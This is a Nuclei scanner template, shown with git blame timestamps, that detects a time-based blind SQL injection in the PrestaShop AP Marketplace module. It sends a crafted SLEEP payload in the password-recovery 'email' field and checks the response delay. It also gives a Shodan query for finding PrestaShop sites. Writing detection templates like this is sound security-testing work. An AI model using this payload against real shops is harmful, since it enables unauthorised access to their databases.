nuclei-templates/http/vulnerabilities/prestashop/prestashop-apmarketplace-sq...

36 lines
1.3 KiB
YAML
Raw Normal View History

id: prestashop-apmarketplace-sqli
2023-07-24 22:10:33 +00:00
info:
name: PrestaShop Ap Marketplace SQL Injection
author: mastercho
2023-08-02 03:53:57 +00:00
severity: high
2023-07-24 22:10:33 +00:00
description: |
The AP Marketplace Prestashop module is vulnerable to Blind/Time SQL Injection. An attacker can exploit this vulnerability to execute arbitrary SQL queries on the underlying database.
reference:
2023-08-02 03:53:57 +00:00
- https://www.openservis.cz/prestashop-blog/nejcastejsi-utoky-v-roce-2023-seznam-deravych-modulu-nemate-nejaky-z-nich-na-e-shopu-i-vy/#pll_switcher
2023-07-24 22:10:33 +00:00
metadata:
2023-08-02 03:53:57 +00:00
verified: true
2023-10-14 11:27:55 +00:00
max-request: 1
2023-08-02 03:53:57 +00:00
shodan-query: http.component:"Prestashop"
tags: prestashop,sqli
2023-07-24 22:10:33 +00:00
http:
- raw:
- |
POST /m/apmarketplace/passwordrecovery HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
2023-08-02 03:53:57 +00:00
Referer: {{RootURL}}
2023-07-24 22:10:33 +00:00
X-Requested-With: XMLHttpRequest
email=" AND (SELECT 3472 FROM (SELECT(SLEEP(6)))UTQK)-- IGIe&submit_reset_pwd=
2023-07-24 22:17:37 +00:00
2023-07-24 22:10:33 +00:00
matchers:
- type: dsl
dsl:
2023-08-25 12:23:28 +00:00
- 'duration_2>=6'
- 'contains(body, "module-apmarketplace-passwordrecovery")'
2023-10-14 11:27:55 +00:00
condition: and
# digest: 4b0a00483046022100b48440bd6c3340453db529a4aa26ebfc2720ca154ed673b86253139e316d9fa3022100c353a472d66ba11b085155b28ee58f92dce4988e04ba847f68aefa70fd759a4d:922c64590222798bb761d5b6d8e72950